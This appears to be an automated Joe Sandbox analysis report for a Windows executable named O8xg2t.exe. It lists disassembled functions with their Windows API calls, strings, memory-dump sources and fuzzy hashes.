Instruction ID: 601bfb796087d826a15eddab62e6da73c6b3e4e45b37998f9684764b2688f2d2
Opcode Fuzzy Hash: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction Fuzzy Hash: 5C2136B1614B8582EB66DB23F8407DAA3A5B79C7C0F880526BB49577B5EF78C500C700

Function 00000001400026F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 000000014000271C
GetCurrentProcess.KERNEL32 ref: 0000000140002721
SetProcessWorkingSetSize.KERNEL32 ref: 0000000140002731

Strings

Shrinking process size, xrefs: 000000014000270E

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: Shrinking process size
API String ID: 2122760700-652428428
Opcode ID: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction ID: de407452bcc55573093b25e37d4a5c8190b9a80636e05c4b95c6e58ff86151e7
Opcode Fuzzy Hash: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction Fuzzy Hash: 74E0C9B4601A4191EA029F57A8A03D41260A74CBF0F815721AA290B2F0CE3985858310

Function 00000001400030B0 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400030E7
LeaveCriticalSection.KERNEL32 ref: 000000014000316B
EnterCriticalSection.KERNEL32 ref: 0000000140003195
EnterCriticalSection.KERNEL32 ref: 00000001400031C6
LeaveCriticalSection.KERNEL32 ref: 00000001400031DD

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction ID: acd2e58e1a3fd81a861280768b65888603737fa84cc19007189881c9ae716cb0
Opcode Fuzzy Hash: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction Fuzzy Hash: D331137A225A4082EB128F1AF8407D57364F79DBF5F480221FF6A4B7B4DB3AC8858744

Function 00007FFBC320E3F4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFBC320E473
WriteFile.KERNEL32 ref: 00007FFBC320E73B
WriteFile.KERNEL32 ref: 00007FFBC320E781
GetLastError.KERNEL32 ref: 00007FFBC320E837

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction ID: 722782294bf27c7b0e1d60491b4610e1c2fb1880d4af5d019b3b60bd6a29d323
Opcode Fuzzy Hash: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction Fuzzy Hash: CDD108B2F08A8189EB11DF75D4806ED37B1FB44798B884236DE5D6BB99DE38D44AC340

Function 00007FFBC320ED1C Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFBC320ED07), ref: 00007FFBC320EE38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFBC320ED07), ref: 00007FFBC320EEC3

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction ID: bc0060bbca3f17f6f7ed8b7e9410476f719397b99e53a02845e36e2fa3eb9091
Opcode Fuzzy Hash: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction Fuzzy Hash: A091C7B2F18A5185FF60AF75D440A7E6BA4AB04798F984135DE4E7A685DF38D48AC300

Function 0000000140004760 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004774
ResetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004870
SetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000487D
LeaveCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000488A

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction ID: 8df361fa7c869b6ec715234f9c2df2ced8c6baf833446e4218a9444c3b5dacad
Opcode Fuzzy Hash: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction Fuzzy Hash: 0F31D1B5614F4881EB42CB57F8803D463A6B79CBD4F984516EB0E8B372EF3AC4958304

Function 0000000140004400 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014000441F
ResetEvent.KERNEL32 ref: 00000001400044CB
SetEvent.KERNEL32 ref: 00000001400044D5
LeaveCriticalSection.KERNEL32 ref: 00000001400044DF

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction ID: 80aeca48758360c6ba791d23c15ba34d7cc547f8c7a26c6fbcbbb07f4ec0a80e
Opcode Fuzzy Hash: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction Fuzzy Hash: 6F3127B2220A8483D761DF27F48439AB3A0F798BD4F000116EB8A47BB5DF39E491C344

Function 00007FFBC3202218 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBC3202244
GetCurrentThreadId.KERNEL32 ref: 00007FFBC3202252
GetCurrentProcessId.KERNEL32 ref: 00007FFBC320225E
QueryPerformanceCounter.KERNEL32 ref: 00007FFBC320226E

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction ID: 300e9d97a577a314a47ad2e2211157d91ddeddf12184fe1fc4cbce8b89e43a02
Opcode Fuzzy Hash: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction Fuzzy Hash: 35114C62B14B058AEF00DF70E8446B933B4F719758F881A31EA2D5A7A4DF38D558C340

Function 0000000140013670 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000014001367B
CreateEventW.KERNEL32 ref: 000000014001368D
CreateEventW.KERNEL32 ref: 00000001400136A7
CreateEventW.KERNEL32 ref: 00000001400136C0

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CreateEvent$CriticalInitializeSection
String ID:
API String ID: 926662266-0
Opcode ID: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction ID: 312f8d8d13b8a868d26f937b45fb8075aed367f1a83d8c92d196673213f535ba
Opcode Fuzzy Hash: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction Fuzzy Hash: 8F015A31610F0582E726DFA2B855BCA37E2F75D385F854529FA4A8B630EF3A8145C700

Function 00007FFBC3205C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC3205C2A

Strings

csm, xrefs: 00007FFBC3205DBE
csm, xrefs: 00007FFBC3205C4F

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction ID: 6a6fe900e328f622ca646d5f10fb0187f6ca9576bd3fd161c0433466bdc761ca
Opcode Fuzzy Hash: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction Fuzzy Hash: ED7183B250C68186DF60AF35D484B7E7BA0FB04B84F688136DE8C6BA89CB3CD459C744

Function 00007FFBC3206298 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC3206342
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFBC320636B

Strings

csm, xrefs: 00007FFBC320646B

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction ID: 7100c86260c25f067104827c3bdd9f4bcb5c84eed2f601bcd04d953338ea06f4
Opcode Fuzzy Hash: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction Fuzzy Hash: B15162B261874196DA20FF25E080A6E77A4FB89B90F980134EB8D1BB55CF3CE465CB00

Function 00007FFBC320EA8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFBC320EBA3
GetLastError.KERNEL32 ref: 00007FFBC320EBC5

Strings

U, xrefs: 00007FFBC320EB4F

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction ID: 08781e5ee7fbf188fe9f3d7044082d468bb2cdb0a6998a669b7902f3765ae6e6
Opcode Fuzzy Hash: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction Fuzzy Hash: 4741B2B2A19A4181DF20EF75E4447AA77A0FB88794F884131EE4E9B794DF3CD445CB40

Function 0000000140012523 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000000014001256D
RaiseException.KERNEL32 ref: 000000014001258A

Strings

csm, xrefs: 00000001400125BE

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionRaise
String ID: csm
API String ID: 3997070919-1018135373
Opcode ID: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction ID: 49e9958dea4625aba6399e71a496f31833793ec74c7c4936f150dd50c3eb5df3
Opcode Fuzzy Hash: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction Fuzzy Hash: 1D315036204A8082D771CF16E09079EB365F78C7E4F544111EF9A077B5DB3AD892CB41

Function 00007FFBC3210910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBC3203A38: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC3203A63

__GSHandlerCheckCommon.LIBCMT ref: 00007FFBC3210993

Strings

f, xrefs: 00007FFBC3210925
csm, xrefs: 00007FFBC321092B

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CheckCommonHandler__except_validate_context_record
String ID: csm$f
API String ID: 1543384424-629598281
Opcode ID: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction ID: d1f53d47c39e8afceb262e2fd35fa0d2909f5c2b02845ddf3923135eccfc676f
Opcode Fuzzy Hash: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction Fuzzy Hash: A211AF72A1878585EB50AF32E5819AAB764EB45FC4F8C8035EF882FB56CE38D851C700

Function 0000000140003620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003665
#4.VSELOG ref: 00000001400036AC

Strings

amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 000000014000368F

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-484248852
Opcode ID: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction ID: 814455377fd743a09d1ce94c7697c2570c7384a68551c8a3e3690f56dccab0e4
Opcode Fuzzy Hash: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction Fuzzy Hash: 25114975608B4082EB21CF16B84079AB7A4F79DBD4F544225FF8847B79DB39C5508B40

Function 00007FFBC3203990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFBC320112F), ref: 00007FFBC32039E0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFBC320112F), ref: 00007FFBC3203A21

Strings

csm, xrefs: 00007FFBC3203A0E

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction ID: 8794dc55e629af33f632151be59851f87d6bb74f3517eeb7756924e450a3536b
Opcode Fuzzy Hash: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction Fuzzy Hash: 61115E72618B4582EB209F25E44066A77E4FB88B84F984230EFCD1BB58DF3CD555CB00

Function 00000001400036E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003725
#4.VSELOG ref: 0000000140003762

Strings

amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 0000000140003745

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-3336177065
Opcode ID: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction ID: 709d983207ec740d9f2c7308925ee729c80a4ac6442fb255827ec98b57545574
Opcode Fuzzy Hash: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction Fuzzy Hash: 731170B2614B8082D711CF16F480B9AB7A4F38CBE4F444216BF9C47B68CF78C5508B40

Function 00000001400137D0 Relevance: 5.0, APIs: 4, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400137EB
HeapFree.KERNEL32 ref: 00000001400137FD
GetProcessHeap.KERNEL32 ref: 0000000140013820
HeapFree.KERNEL32 ref: 0000000140013832

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction ID: 86a4b35954e85bb75ec39e114bccfc50e282ec3ca0152174d73c8df7cd9b4be4
Opcode Fuzzy Hash: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction Fuzzy Hash: ADF07FB4615B4481FB078FA7B84479422E5EB4DBC0F481028AB494B3B0DF7A80998710

Analysis Process: O8xg2t.exePID: 6504, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	462
Total number of Limit Nodes:	10

Executed Functions

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0000000140006D6C
@, xrefs: 0000000140006FA2

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction ID: b9b90cad4d4dbad5e60228b5b2812afcd9ff4e9267d7912497f5da913a33a31e
Opcode Fuzzy Hash: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction Fuzzy Hash: 0EE19876619B84CADBA1CB19E4807AAB7A1F3C8795F105116FB8E87B68DB7CC454CF00

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000000140005F30
malloc.MSVCRT ref: 0000000140005FD3
ReadFile.KERNELBASE ref: 0000000140006016

Strings

c, xrefs: 0000000140005F69
d, xrefs: 0000000140005EE1
m, xrefs: 0000000140005F91
s, xrefs: 0000000140005EC9
a, xrefs: 0000000140005EE9
L, xrefs: 0000000140005EB9
s, xrefs: 0000000140005EA1
v, xrefs: 0000000140005F64
t, xrefs: 0000000140005ED1
., xrefs: 0000000140005F78
a, xrefs: 0000000140005F96
p, xrefs: 0000000140005EB1
M, xrefs: 0000000140005E99
., xrefs: 0000000140005ED9
t, xrefs: 0000000140005EF1
l, xrefs: 0000000140005FA0
d, xrefs: 0000000140005F7D
o, xrefs: 0000000140005FA5
M, xrefs: 0000000140005EA9
c, xrefs: 0000000140005FAA
s, xrefs: 0000000140005F5F
i, xrefs: 0000000140005EC1
l, xrefs: 0000000140005F87
l, xrefs: 0000000140005F82
l, xrefs: 0000000140005F9B
t, xrefs: 0000000140005F73
m, xrefs: 0000000140005F5A
r, xrefs: 0000000140005F6E

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
